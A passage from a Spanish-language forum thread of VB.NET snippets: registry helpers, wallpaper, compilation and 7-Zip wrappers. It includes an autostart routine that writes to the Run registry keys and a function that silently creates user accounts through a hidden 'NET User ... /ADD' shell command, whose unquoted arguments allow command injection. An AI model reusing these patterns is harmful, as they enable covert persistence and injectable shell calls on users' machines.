Else : Return False End Select Select Case NewRootKey.ToUpper Case "HKCR", "HKEY_CLASSES_ROOT" : DestRootKey = Microsoft.Win32.Registry.ClassesRoot Case "HKCC", "HKEY_CURRENT_CONFIG" : DestRootKey = Microsoft.Win32.Registry.CurrentConfig Case "HKCU", "HKEY_CURRENT_USER" : DestRootKey = Microsoft.Win32.Registry.CurrentUser Case "HKLM", "HKEY_LOCAL_MACHINE" : DestRootKey = Microsoft.Win32.Registry.LocalMachine Case "HKEY_PERFORMANCE_DATA" : DestRootKey = Microsoft.Win32.Registry.PerformanceData Case Else : Return False End Select Dim oldkey As Microsoft.Win32.RegistryKey = OrigRootKey.OpenSubKey(OldPath + "\" + OldName, True) Dim newkey As Microsoft.Win32.RegistryKey = DestRootKey.OpenSubKey(NewPath, True).CreateSubKey(NewName) Reg_Copy_SubKeys(oldkey, newkey) Return True End Function Private Sub Reg_Copy_SubKeys(OrigKey As Microsoft.Win32.RegistryKey, DestKey As Microsoft.Win32.RegistryKey) Dim ValueNames As String() = OrigKey.GetValueNames() Dim SubKeyNames As String() = OrigKey.GetSubKeyNames() For i As Integer = 0 To ValueNames.Length - 1 Application.DoEvents() DestKey.SetValue(ValueNames(i), OrigKey.GetValue(ValueNames(i))) Next For i As Integer = 0 To SubKeyNames.Length - 1 Application.DoEvents() Reg_Copy_SubKeys(OrigKey.OpenSubKey(SubKeyNames(i), True), DestKey.CreateSubKey(SubKeyNames(i))) Next End Sub #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 7 Mayo 2013, 14:55 pm
Ejemplo de un comentário de sumário (o Method description): Public Class MyClass ''' <summary> ''' A description for this variable [Default: False]. ''' </summary> Public Shared MyVariable As Boolean = False End class
Ejemplo de un Select case para comparar 2 o más strings (el equivalente al OR): Select Case Variable.ToUpper Case "HELLO" MsgBox("You said HELLO.") Case "BYE", "HASTALAVISTA" MsgBox("You said BYE or HASTALAVISTA.") Case Else MsgBox("You said nothing.") End Select
Concatenar texto en varios colores en la consola #Region " Write Color Text " ' [ Write Color Text ] ' ' // By Elektro H@cker ' ' Examples: ' Write_Color_Text("TestString A", ConsoleColor.Cyan) ' Write_Color_Text(" + ", ConsoleColor.Green) ' Write_Color_Text("TestString B" & vbNewLine, ConsoleColor.White, ConsoleColor.DarkRed) ' Console.ReadLine() Private Sub Write_Color_Text(ByVal Text As String, _ Optional ByVal ForeColor As System.ConsoleColor = ConsoleColor.White, _ Optional ByVal BackColor As System.ConsoleColor = ConsoleColor.Black) Console.ForegroundColor = ForeColor Console.BackgroundColor = BackColor Console.Write(Text) Console.ForegroundColor = ConsoleColor.White Console.BackgroundColor = ConsoleColor.Black End Sub #End Region
Añade la aplicación actual al inicio de sesión de windows: #Region " Add Application To Startup " ' [ Add Application To Startup Function ] ' ' // By Elektro H@cker ' ' Examples : ' Add_Application_To_Startup(Startup_User.All_Users) ' Add_Application_To_Startup(Startup_User.Current_User) ' Add_Application_To_Startup(Startup_User.Current_User, "Application Name", """C:\ApplicationPath.exe""" & " -Arguments") Public Enum Startup_User Current_User All_Users End Enum Private Function Add_Application_To_Startup(ByVal Startup_User As Startup_User, _ Optional ByVal Application_Name As String = Nothing, _ Optional ByVal Application_Path As String = Nothing) As Boolean If Application_Name Is Nothing Then Application_Name = Process.GetCurrentProcess().MainModule.ModuleName If Application_Path Is Nothing Then Application_Path = Application.ExecutablePath Try Select Case Startup_User Case Startup_User.All_Users My.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", Application_Name, Application_Path, Microsoft.Win32.RegistryValueKind.String) Case Startup_User.Current_User My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", Application_Name, Application_Path, Microsoft.Win32.RegistryValueKind.String) End Select Catch ex As Exception ' Throw New Exception(ex.Message) Return False End Try Return True End Function #End Region
Convierte un array de bytes a string #Region " Byte-Array To String " ' [ Byte-Array To String Function ] ' ' // By Elektro H@cker ' ' Examples : ' Dim Bytes() As Byte = {84, 101, 115, 116} ' T, e, s, t ' MsgBox(Byte_Array_To_String(Bytes)) ' Result: Test Private Function Byte_Array_To_String(ByVal Byte_Array As Byte()) As String Return System.Text.Encoding.ASCII.GetString(Byte_Array) End Function #End Region
Convierte un string a aray de bytes #Region " String to Byte-Array " ' [ String to Byte-Array Function ] ' ' // By Elektro H@cker ' ' Examples : ' Dim Bytes() As Byte = String_to_Byte_Array("Test") ' Byte = {84, 101, 115, 116} Private Function String_to_Byte_Array(ByVal Text As String) As Byte() Return System.Text.Encoding.ASCII.GetBytes(Text) End Function #End Region
Añade una cuenta de usuario al sistema: #Region " Add User Account " ' [ Add User Account Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Add_User_Account("New User")) ' Add_User_Account("New User", "MyPass") Private Function Add_User_Account(ByVal UserName As String, Optional ByVal Password As String = Nothing) As Boolean Dim Net_User As New Process() Dim Net_User_Info As New ProcessStartInfo() Net_User_Info.FileName = "CMD.exe" Net_User_Info.Arguments = "/C NET User " & "" & UserName & "" & " " & "" & Password & "" & " /ADD" Net_User_Info.WindowStyle = ProcessWindowStyle.Hidden Net_User.StartInfo = Net_User_Info Net_User.Start() Net_User.WaitForExit() Select Case Net_User.ExitCode Case 0 : Return True ' Account created Case 2 : Return False ' Account already exist Case Else : Return False ' Unknown error End Select End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 7 Mayo 2013, 15:05 pm
Devuelve el formato de una URL de una localización de Google Maps #Region " Get Google Maps URL " ' [ Get Google Maps URL Function ] ' ' // By Elektro H@cker ' ' Examples : ' ' MsgBox(Get_Google_Maps_URL("Valencia", "España")) ' Result: "http://Maps.google.com/?q=Valencia,+España,+" ' WebBrowser1.Navigate(Get_Google_Maps_URL("Valencia", "Spain")) Private Function Get_Google_Maps_URL(Optional ByVal City As String = Nothing, _ Optional ByVal State As String = Nothing, _ Optional ByVal Street As String = Nothing, _ Optional ByVal Zipcode As String = Nothing) As String Dim queryAddress As New System.Text.StringBuilder() queryAddress.Append("http://Maps.google.com/?q=") ' Build street part of query string If Street IsNot Nothing Then Street = Street.Replace(" ", "+") queryAddress.Append(Street + "," & "+") End If ' Build city part of query string If City IsNot Nothing Then City = City.Replace(" ", "+") queryAddress.Append(City + "," & "+") End If ' Build state part of query string If State IsNot Nothing Then State = State.Replace(" ", "+") queryAddress.Append(State + "," & "+") End If ' Build zip code part of query string If Zipcode IsNot Nothing Then queryAddress.Append(Zipcode) End If ' Return the URL Return queryAddress.ToString End Function #End Region
Devuelve la URL de una localización de Google Maps (Por coordenadas) #Region " Get Google Maps Coordinates URL " ' [ Get Google Maps Coordinates URL Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Get_Google_Maps_Coordinates_URL(39.4767, 0.3744)) ' Result: http://Maps.google.com/?q=39.4767%2C0.3744 ' webBrowser1.Navigate(Get_Google_Maps_Coordinates_URL(39.4767, 0.3744)) Private Function Get_Google_Maps_Coordinates_URL(ByVal Latitude As Double, ByVal Longitude As Double) As String Dim queryAddress As New System.Text.StringBuilder() queryAddress.Append("http://Maps.google.com/?q=") ' Build latitude part of query string queryAddress.Append(Latitude.ToString.Replace(",", ".") + "%2C") ' Build longitude part of query string queryAddress.Append(Longitude.ToString.Replace(",", ".")) ' Return the URL Return queryAddress.ToString End Function
Crear un archivo Dummy #Region " Make Dummy File " ' [ Make Dummy File Function ] ' ' Examples : ' Make_Dummy_File("C:\Test.dummy", 100) ' Creates a dummy file of 100 bytes Private Function Make_Dummy_File (ByVal File As String, ByVal Size As Int64 ) As Boolean Try Using DummyFile As New IO. FileStream(File, IO. FileMode. Create) DummyFile.SetLength(Size) End Using Catch ex As Exception ' MsgBox(ex.Message) Return False End Try Return True End Function #End Region
Cambiar el fondo de pantalla #Region " Set Desktop Wallpaper " ' [ Set Desktop Wallpaper Function ] ' ' Examples : ' MsgBox(Wallpaper.SupportFitFillWallpaperStyles) ' MsgBox(Wallpaper.SupportJpgAsWallpaper) ' Set_Desktop_Wallpaper("C:\Image.jpg", WallpaperStyle.Fill) Private Function Set_Desktop_Wallpaper(ByVal Image As String, ByVal Style As WallpaperStyle) As Boolean Try If Wallpaper.SupportFitFillWallpaperStyles AndAlso Wallpaper.SupportJpgAsWallpaper Then Wallpaper.SetDesktopWallpaper(Image, Style) End If Catch ex As Exception MsgBox(ex.Message) Return False End Try Return True End Function ' Wallpaper.vb Class #Region " Wallpaper Class " '*********************************** Module Header ***********************************' ' Module Name: Wallpaper.vb ' Project: VBSetDesktopWallpaper ' Copyright (c) Microsoft Corporation. ' ' Wallpaper.SetDesktopWallpaper(ByVal path As String, ByVal style As WallpaperStyle) ' ' This is the key method that sets the desktop wallpaper. The method body is composed ' of configuring the wallpaper style in the registry and setting the wallpaper with ' SystemParametersInfo. ' '*************************************************************************************' Imports Microsoft.Win32 Imports System.Environment Imports System.Drawing.Imaging Imports System.ComponentModel Imports System.Runtime.InteropServices Public Class Wallpaper ''' <summary> ''' Determine if .jpg files are supported as wallpaper in the current ''' operating system. The .jpg wallpapers are not supported before ''' Windows Vista. ''' </summary> Public Shared ReadOnly Property SupportJpgAsWallpaper() Get Return (Environment.OSVersion.Version >= New Version(6, 0)) End Get End Property ''' <summary> ''' Determine if the fit and fill wallpaper styles are supported in the ''' current operating system. The styles are not supported before ''' Windows 7. ''' </summary> Public Shared ReadOnly Property SupportFitFillWallpaperStyles() Get Return (Environment.OSVersion.Version >= New Version(6, 1)) End Get End Property ''' <summary> ''' Set the desktop wallpaper. ''' </summary> ''' <param name="path">Path of the wallpaper</param> ''' <param name="style">Wallpaper style</param> Public Shared Sub SetDesktopWallpaper(ByVal path As String, ByVal style As WallpaperStyle) ' Set the wallpaper style and tile. ' Two registry values are set in the Control Panel\Desktop key. ' TileWallpaper ' 0: The wallpaper picture should not be tiled ' 1: The wallpaper picture should be tiled ' WallpaperStyle ' 0: The image is centered if TileWallpaper=0 or tiled if TileWallpaper=1 ' 2: The image is stretched to fill the screen ' 6: The image is resized to fit the screen while maintaining the aspect ' ratio. (Windows 7 and later) ' 10: The image is resized and cropped to fill the screen while ' maintaining the aspect ratio. (Windows 7 and later) Dim key As RegistryKey = Registry.CurrentUser.OpenSubKey("Control Panel\Desktop", True) Select Case style Case WallpaperStyle.Tile key.SetValue("WallpaperStyle", "0") key.SetValue("TileWallpaper", "1") Exit Select Case WallpaperStyle.Center key.SetValue("WallpaperStyle", "0") key.SetValue("TileWallpaper", "0") Exit Select Case WallpaperStyle.Stretch key.SetValue("WallpaperStyle", "2") key.SetValue("TileWallpaper", "0") Exit Select Case WallpaperStyle.Fit ' (Windows 7 and later) key.SetValue("WallpaperStyle", "6") key.SetValue("TileWallpaper", "0") Exit Select Case WallpaperStyle.Fill ' (Windows 7 and later) key.SetValue("WallpaperStyle", "10") key.SetValue("TileWallpaper", "0") Exit Select End Select key.Close() ' If the specified image file is neither .bmp nor .jpg, - or - ' if the image is a .jpg file but the operating system is Windows Server ' 2003 or Windows XP/2000 that does not support .jpg as the desktop ' wallpaper, convert the image file to .bmp and save it to the ' %appdata%\Microsoft\Windows\Themes folder. Dim ext As String = System.IO.Path.GetExtension(path) If ((Not ext.Equals(".bmp", StringComparison.OrdinalIgnoreCase) AndAlso _ Not ext.Equals(".jpg", StringComparison.OrdinalIgnoreCase)) _ OrElse _ (ext.Equals(".jpg", StringComparison.OrdinalIgnoreCase) AndAlso _ (Not SupportJpgAsWallpaper))) Then Using image As Image = image.FromFile(path) path = String.Format("{0}\Microsoft\Windows\Themes\{1}.bmp", _ Environment.GetFolderPath(SpecialFolder.ApplicationData), _ System.IO.Path.GetFileNameWithoutExtension(path)) image.Save(path, ImageFormat.Bmp) End Using End If ' Set the desktop wallpapaer by calling the Win32 API SystemParametersInfo ' with the SPI_SETDESKWALLPAPER desktop parameter. The changes should ' persist, and also be immediately visible. If Not Wallpaper.SystemParametersInfo(20, 0, path, 3) Then Throw New Win32Exception End If End Sub <DllImport("user32.dll", CharSet:=CharSet.Unicode, SetLastError:=True)> _ Private Shared Function SystemParametersInfo( _ ByVal uiAction As UInt32, _ ByVal uiParam As UInt32, _ ByVal pvParam As String, _ ByVal fWinIni As UInt32) _ As <MarshalAs(UnmanagedType.Bool)> Boolean End Function Private Const SPI_SETDESKWALLPAPER As UInt32 = 20 Private Const SPIF_SENDWININICHANGE As UInt32 = 2 Private Const SPIF_UPDATEINIFILE As UInt32 = 1 End Class Public Enum WallpaperStyle Tile Center Stretch Fit Fill End Enum #End Region #End Region
Centrar el Form a la pantalla del escritorio #Region " Center Form To Desktop " ' [ Center Form To Desktop ] ' ' // By Elektro H@cker ' ' Examples : ' Center_Form_To_Desktop(Me) Private Sub Center_Form_To_Desktop(ByVal Form As Form) Dim Desktop_RES As System.Windows.Forms.Screen = System.Windows.Forms.Screen.PrimaryScreen Me.Location = New Point((Desktop_RES.Bounds.Width - Form.Width) / 2, (Desktop_RES.Bounds.Height - Form.Height) / 2) End Sub #End Region
Comprobar si ya hay abierta una instancia de la aplicación: #Region " My Application Is Already Running " ' [ My Application Is Already Running Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(My_Application_Is_Already_Running) ' If My_Application_Is_Already_Running() Then Application.Exit() Public Declare Function CreateMutexA Lib "Kernel32.dll" (ByVal lpSecurityAttributes As Integer, ByVal bInitialOwner As Boolean, ByVal lpName As String) As Integer Public Declare Function GetLastError Lib "Kernel32.dll" () As Integer Public Function My_Application_Is_Already_Running() As Boolean 'Attempt to create defualt mutex owned by process CreateMutexA(0, True, Process.GetCurrentProcess().MainModule.ModuleName.ToString) Return (GetLastError() = 183) ' 183 = ERROR_ALREADY_EXISTS End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 7 Mayo 2013, 15:09 pm
Los snippets que posteé hace tiempo para hacer modificaciones en el registro, los he optimizado para simplificar su uso y evitar errores de sintaxis. PD: Ahora permite añadir datos binários. #Region " Reg Create Key " ' [ Reg Create Key Function ] ' ' // By Elektro H@cker ' ' Examples : ' ' Reg_Create_Key("HKCU\Software\MyProgram") ' Creates "HKCU\Software\MyProgram" ' Reg_Create_Key("HKEY_CURRENT_USER\Software\MyProgram\Settings\") ' Creates "HKCU\Software\MyProgram\Settings" Public Function Reg_Create_Key(ByVal RegKey As String) As Boolean Dim RootKey As Microsoft.Win32.RegistryKey = Nothing Dim KeyPath As String = Nothing ' Gets the RootKey Select Case RegKey.ToUpper.Split("\").First Case "HKCR", "HKEY_CLASSES_ROOT" : RootKey = Microsoft.Win32.Registry.ClassesRoot Case "HKCC", "HKEY_CURRENT_CONFIG" : RootKey = Microsoft.Win32.Registry.CurrentConfig Case "HKCU", "HKEY_CURRENT_USER" : RootKey = Microsoft.Win32.Registry.CurrentUser Case "HKLM", "HKEY_LOCAL_MACHINE" : RootKey = Microsoft.Win32.Registry.LocalMachine Case "HKEY_PERFORMANCE_DATA" : RootKey = Microsoft.Win32.Registry.PerformanceData Case Else : Return False End Select ' Gets the KeyPath For i As Integer = 1 To RegKey.Split("\").Length - 1 : KeyPath += RegKey.Split("\")(i) & "\" : Next KeyPath = KeyPath.Substring(0, KeyPath.LastIndexOf("\")) Try RootKey.CreateSubKey(KeyPath) RootKey.Close() Return True Catch ex As Exception Throw New Exception(ex.Message) End Try End Function #End Region
#Region " Reg Delete Key " ' [ Reg Delete Key Function ] ' ' // By Elektro H@cker ' ' Examples : ' Reg_Delete_Key("HKLM\Software\7-zip") ' Deletes the "7-zip" tree including subkeys ' Reg_Delete_Key("HKEY_LOCAL_MACHINE\Software\7-zip\") ' Deletes the "7-zip" tree including subkeys Public Function Reg_Delete_Key(ByVal RegKey As String) As Boolean Dim RootKey As Microsoft.Win32.RegistryKey = Nothing Dim KeyPath As String = Nothing ' Gets the RootKey Select Case RegKey.ToUpper.Split("\").First Case "HKCR", "HKEY_CLASSES_ROOT" : RootKey = Microsoft.Win32.Registry.ClassesRoot Case "HKCC", "HKEY_CURRENT_CONFIG" : RootKey = Microsoft.Win32.Registry.CurrentConfig Case "HKCU", "HKEY_CURRENT_USER" : RootKey = Microsoft.Win32.Registry.CurrentUser Case "HKLM", "HKEY_LOCAL_MACHINE" : RootKey = Microsoft.Win32.Registry.LocalMachine Case "HKEY_PERFORMANCE_DATA" : RootKey = Microsoft.Win32.Registry.PerformanceData Case Else : Return False End Select ' Gets the KeyPath For i As Integer = 1 To RegKey.Split("\").Length - 1 : KeyPath += RegKey.Split("\")(i) & "\" : Next KeyPath = KeyPath.Substring(0, KeyPath.LastIndexOf("\")) Try RootKey.DeleteSubKeyTree(KeyPath) RootKey.Close() Return True Catch ex As Exception ' Throw New Exception(ex.Message) Return False End Try End Function #End Region
#Region " Reg Delete Value " ' [ Reg Delete Value Function ] ' ' // By Elektro H@cker ' ' Examples : ' Reg_Delete_Value("HKCU\Software\7-Zip", "Lang") ' Deletes "Lang" Value ' Reg_Delete_Value("HKEY_CURRENT_USER\Software\7-Zip\", "Lang") ' Deletes "Lang" Value Public Function Reg_Delete_Value(ByVal RegKey As String, ByVal RegValue As String) As Boolean Dim RootKey As Microsoft.Win32.RegistryKey = Nothing Dim KeyPath As String = Nothing ' Gets the RootKey Select Case RegKey.ToUpper.Split("\").First Case "HKCR", "HKEY_CLASSES_ROOT" : RootKey = Microsoft.Win32.Registry.ClassesRoot Case "HKCC", "HKEY_CURRENT_CONFIG" : RootKey = Microsoft.Win32.Registry.CurrentConfig Case "HKCU", "HKEY_CURRENT_USER" : RootKey = Microsoft.Win32.Registry.CurrentUser Case "HKLM", "HKEY_LOCAL_MACHINE" : RootKey = Microsoft.Win32.Registry.LocalMachine Case "HKEY_PERFORMANCE_DATA" : RootKey = Microsoft.Win32.Registry.PerformanceData Case Else : Return False End Select ' Gets the KeyPath For i As Integer = 1 To RegKey.Split("\").Length - 1 : KeyPath += RegKey.Split("\")(i) & "\" : Next KeyPath = KeyPath.Substring(0, KeyPath.LastIndexOf("\")) Try RootKey.OpenSubKey(KeyPath, True).DeleteValue(RegValue) RootKey.Close() Return True Catch ex As Exception ' Throw New Exception(ex.Message) Return False End Try End Function #End Region
#Region " Reg Set Value " ' [ Reg Set Value Function ] ' ' // By Elektro H@cker ' ' Examples : ' Reg_Set_Value("HKCU\Software\MyProgram", "Value name", "Data", Microsoft.Win32.RegistryValueKind.String) ' Create/Replace "Value Name" with "Data" as string data ' Reg_Set_Value("HKEY_CURRENT_USER\Software\MyProgram\", "Value name", "Data", Microsoft.Win32.RegistryValueKind.String) ' Create/Replace "Value Name" with "Data" as string data Public Function Reg_Set_Value(ByVal RegKey As String, _ ByVal RegValue As String, _ ByVal RegData As String, _ ByVal RegDataType As Microsoft.Win32.RegistryValueKind) As Boolean Dim RootKey As String = Nothing Dim KeyPath As String = Nothing ' Gets the RootKey Select Case RegKey.ToUpper.Split("\").First Case "HKCR", "HKEY_CLASSES_ROOT" : RootKey = "HKEY_CLASSES_ROOT""" Case "HKCC", "HKEY_CURRENT_CONFIG" : RootKey = "HKEY_CURRENT_CONFIG" Case "HKCU", "HKEY_CURRENT_USER" : RootKey = "HKEY_CURRENT_USER" Case "HKLM", "HKEY_LOCAL_MACHINE" : RootKey = "HKEY_LOCAL_MACHINE" Case "HKEY_PERFORMANCE_DATA" : RootKey = "HKEY_PERFORMANCE_DATA" Case Else : Return False End Select ' Gets the KeyPath For i As Integer = 1 To RegKey.Split("\").Length - 1 : KeyPath += RegKey.Split("\")(i) & "\" : Next KeyPath = KeyPath.Substring(0, KeyPath.LastIndexOf("\")) KeyPath = RootKey & "\" & KeyPath Try If RegDataType = Microsoft.Win32.RegistryValueKind.Binary Then My.Computer.Registry.SetValue(KeyPath, RegValue, System.Text.Encoding.ASCII.GetBytes(RegData), Microsoft.Win32.RegistryValueKind.Binary) Else My.Computer.Registry.SetValue(KeyPath, RegValue, RegData, RegDataType) End If Return True Catch ex As Exception ' Throw New Exception(ex.Message) Return False End Try End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 7 Mayo 2013, 15:13 pm
Una class para compilar otros proyectos en tiempo de ejecución. #Region " FrameWork Compiler "
' [ FrameWork Compiler Function ] ' ' // By Elektro H@cker ' ' Examples : ' FrameWorkCompiler.FW_Compile("C:\Projects\Project.vbj", FrameWorkCompiler.CompilerVersion.FW_3_5_x86) ' FrameWorkCompiler.FW_Compile("C:\Projects\Project.sln", FrameWorkCompiler.CompilerVersion.FW_4_0_x64)
#Region " FrameWork Compiler Class "
Public Class FrameWorkCompiler
Shared FrameWork_Location As String = Nothing ' Directory location of selected FrameWork version
''' <summary> ''' The FrameWork compiler version. ''' </summary> Public Enum CompilerVersion FW_1_0_x86 FW_1_1_x86 FW_2_0_x86 FW_3_0_x86 FW_3_5_x86 FW_4_0_x86 FW_2_0_x64 FW_3_0_x64 FW_3_5_x64 FW_4_0_x64 End Enum
''' <summary> ''' Compile a .NET project/solution. ''' </summary> Public Shared Function FW_Compile(ByVal SolutionFile As String, ByVal FrameWorkCompiler As CompilerVersion) As Boolean
Select Case FrameWorkCompiler Case CompilerVersion.FW_1_0_x86 : FrameWork_Location = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\Framework\v1.0.3705") Case CompilerVersion.FW_1_1_x86 : FrameWork_Location = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\Framework\v1.1.4322") Case CompilerVersion.FW_2_0_x86 : FrameWork_Location = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\Framework\v2.0.50727") Case CompilerVersion.FW_3_0_x86 : FrameWork_Location = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\Framework\v3.0") Case CompilerVersion.FW_3_5_x86 : FrameWork_Location = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\Framework\v3.5") Case CompilerVersion.FW_4_0_x86 : FrameWork_Location = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\Framework\v4.0.30319") Case CompilerVersion.FW_2_0_x64 : FrameWork_Location = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\Framework64\v2.0.50727") Case CompilerVersion.FW_3_0_x64 : FrameWork_Location = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\Framework64\v3.0") Case CompilerVersion.FW_3_5_x64 : FrameWork_Location = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\Framework64\v3.5") Case CompilerVersion.FW_4_0_x64 : FrameWork_Location = IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET\Framework64\v4.0.30319") Case Else : Return False End Select
Try
Dim FWCompiler As New Process() Dim FWCompiler_Info As New ProcessStartInfo()
FWCompiler_Info.FileName = IO.Path.Combine(FrameWork_Location, "msbuild.exe") FWCompiler_Info.Arguments = "/nologo /noautoresponse /verbosity:quiet " & """" & SolutionFile & """" FWCompiler_Info.UseShellExecute = False FWCompiler_Info.CreateNoWindow = True FWCompiler_Info.WindowStyle = ProcessWindowStyle.Hidden FWCompiler_Info.RedirectStandardOutput = True FWCompiler.StartInfo = FWCompiler_Info FWCompiler.Start() FWCompiler.WaitForExit()
' Dim ErrorOutput As String = FWCompiler.StandardOutput.ReadToEnd() ' MsgBox(ErrorOutput)
If FWCompiler.ExitCode <> 0 Then Return False Else Return True End If
Catch ex As Exception ' MsgBox(ex.Message) Return False End Try
End Function
End Class
#End Region
#End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: ABDERRAMAH en 7 Mayo 2013, 16:46 pm
Mother of god, que bueno ese último. Seguro que se me ocurre alguna aplicación...
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 7 Mayo 2013, 19:17 pm
(http://img138.imageshack.us/img138/406/prtscrcapturef.jpg) Una class para usar SevenZipSharp de forma sencilla para "comprimir/descomprimir/Crear un SFX/obtener información de zips" y mostrando el progreso de las operaciones. #Region " SevenZipSharp Class " ' [ SevenZipSharp Functions ] ' ' // By Elektro H@cker ' ' Instructions : ' 1. Add a reference to "SevenZipSharp.dll". ' 2. Add the "7z.dll" or "7z64.dll" files to the project. ' 3. Add the "7z.sfx" and "7zCon.sfx" files to the project for SFX compression. ' ' Examples : ' ' -------- ' Extract: ' -------- ' SevenZipSharp.Extract("C:\File.7zip") ' Will be extracted in the same dir. ' SevenZipSharp.Extract("C:\File.7zip", "C:\Extracted\") ' Will be extracted in "C:\Extracted\". ' SevenZipSharp.Extract("C:\File.7zip", , "Password") ' Will be extracted with the given password. ' ' -------- ' Compress: ' --------- ' SevenZipSharp.Compress("C:\File.txt") ' File will be compressed in the same dir. ' SevenZipSharp.Compress("C:\File.txt", "C:\Compressed\File.7z") ' File will be compressed in "C:\Compressed\". ' SevenZipSharp.Compress("C:\Folder\", , , , , , "Password") ' Folder will be compressed with the given password. ' SevenZipSharp.Compress("C:\File.txt", , OutArchiveFormat.Zip, , CompressionMethod.Lzma, CompressionLevel.Ultra) ' ' -------- ' Compress SFX: ' ------------- ' SevenZipSharp.Compress_SFX("C:\File.txt") ' File will be compressed in the same dir. ' SevenZipSharp.Compress_SFX("C:\File.txt", "C:\Compressed\File.exe") ' File will be compressed in "C:\Compressed\". ' SevenZipSharp.Compress_SFX("C:\Folder\", , , , , , , "Password") ' Folder will be compressed with the given password. ' SevenZipSharp.Compress_SFX("C:\File.txt", , SevenZipSharp_SFX_Module.Console, CompressionLevel.Fast) ' ' -------- ' File Info: ' ---------- ' MsgBox(SevenZipSharp.FileInfo("C:\Test.7z", SevenZip_Info.Format)) ' For Each FileName In SevenZipSharp.FileInfo("C:\Test.zip", SevenZip_Info.Internal_Files_FileNames) : MsgBox(FileName) : Next ' ' ------------ ' * Progress * ' ------------ ' Dim WithEvents SevenZipProgress_Timer As New Timer ' Private Sub SevenZipProgress_Timer_Tick(sender As Object, e As EventArgs) Handles SevenZipProgress_Timer.Tick ' ProgressBar1.Value = SevenZipSharp.SevenZip_Current_Progress ' If ProgressBar1.Value = 100 Then ' ' ... ' End If ' End Sub Imports SevenZip Public Class SevenZipSharp Public Shared SevenZipDLL As String = "7z.dll" Public Shared SevenZip_Current_Progress As Short = 0 #Region " SevenZipSharp Extract " Public Shared Function Extract(ByVal InputFile As String, _ Optional ByVal OutputDir As String = Nothing, _ Optional ByVal Password As String = "Nothing") As Boolean SevenZip_Current_Progress = 0 Try ' Set library path SevenZipExtractor.SetLibraryPath(SevenZipDLL) ' Create extractor and specify the file to extract Dim Extractor As SevenZipExtractor = New SevenZipExtractor(InputFile, Password) ' Specify the output path where the files will be extracted If OutputDir Is Nothing Then OutputDir = My.Computer.FileSystem.GetFileInfo(InputFile).DirectoryName ' Add Progress Handler AddHandler Extractor.Extracting, AddressOf SevenZipSharp_Extract_Progress ' Check for password matches If Extractor.Check() Then ' Start the extraction Extractor.BeginExtractArchive(OutputDir) Else Return False ' Bad password End If Return True ' File extracted Extractor.Dispose() Catch ex As Exception 'Return False ' File not extracted Throw New Exception(ex.Message) End Try End Function Private Shared Sub SevenZipSharp_Extract_Progress(ByVal sender As Object, ByVal e As ProgressEventArgs) SevenZip_Current_Progress = e.PercentDone ' If e.PercentDone = 100 Then SevenZip_Current_Progress = 0 End Sub #End Region #Region " SevenZipSharp Compress " Public Shared Function Compress(ByVal Input_DirOrFile As String, _ Optional ByVal OutputFileName As String = Nothing, _ Optional ByVal Format As OutArchiveFormat = OutArchiveFormat.SevenZip, _ Optional ByVal CompressionMode As CompressionMode = CompressionMode.Create, _ Optional ByVal CompressionMethod As CompressionMethod = CompressionMethod.Lzma, _ Optional ByVal CompressionLevel As CompressionLevel = CompressionLevel.Normal, _ Optional ByVal VolumeSize As Long = Nothing, _ Optional ByVal Password As String = Nothing) As Boolean SevenZip_Current_Progress = 0 Try ' Set library path SevenZipCompressor.SetLibraryPath(SevenZipDLL) ' Create compressor Dim Compressor As SevenZipCompressor = New SevenZipCompressor() ' Set compression parameters Compressor.CompressionLevel = CompressionLevel ' Archiving compression level. Compressor.CompressionMethod = CompressionMethod ' Compression method Compressor.ArchiveFormat = Format ' Compression file format Compressor.CompressionMode = CompressionMode ' Append files to compressed file or overwrite the compressed file. Compressor.DirectoryStructure = True ' Preserve the directory structure. Compressor.IncludeEmptyDirectories = True ' Include empty directories to archives. Compressor.ScanOnlyWritable = False ' Compress files only open for writing. Compressor.EncryptHeaders = False ' Encrypt 7-Zip archive headers Compressor.TempFolderPath = System.IO.Path.GetTempPath() ' Temporary folder path Compressor.FastCompression = False ' Compress as fast as possible, without calling events. Compressor.PreserveDirectoryRoot = True ' Preserve the directory root for CompressDirectory. Compressor.ZipEncryptionMethod = ZipEncryptionMethod.ZipCrypto ' Encryption method for zip archives. Compressor.DefaultItemName = "File.7z" ' Item name used when an item to be compressed has no name, for example, when you compress a MemoryStream instance If Not VolumeSize = Nothing Then If Format = OutArchiveFormat.SevenZip Then Compressor.VolumeSize = VolumeSize _ Else Throw New Exception("Multi volume option is only avaliable for 7zip format") End If ' Get File extension Dim CompressedFileExtension As String = Nothing Select Case Compressor.ArchiveFormat Case OutArchiveFormat.SevenZip : CompressedFileExtension = ".7z" Case OutArchiveFormat.BZip2 : CompressedFileExtension = ".bz" Case OutArchiveFormat.GZip : CompressedFileExtension = ".gzip" Case OutArchiveFormat.Tar : 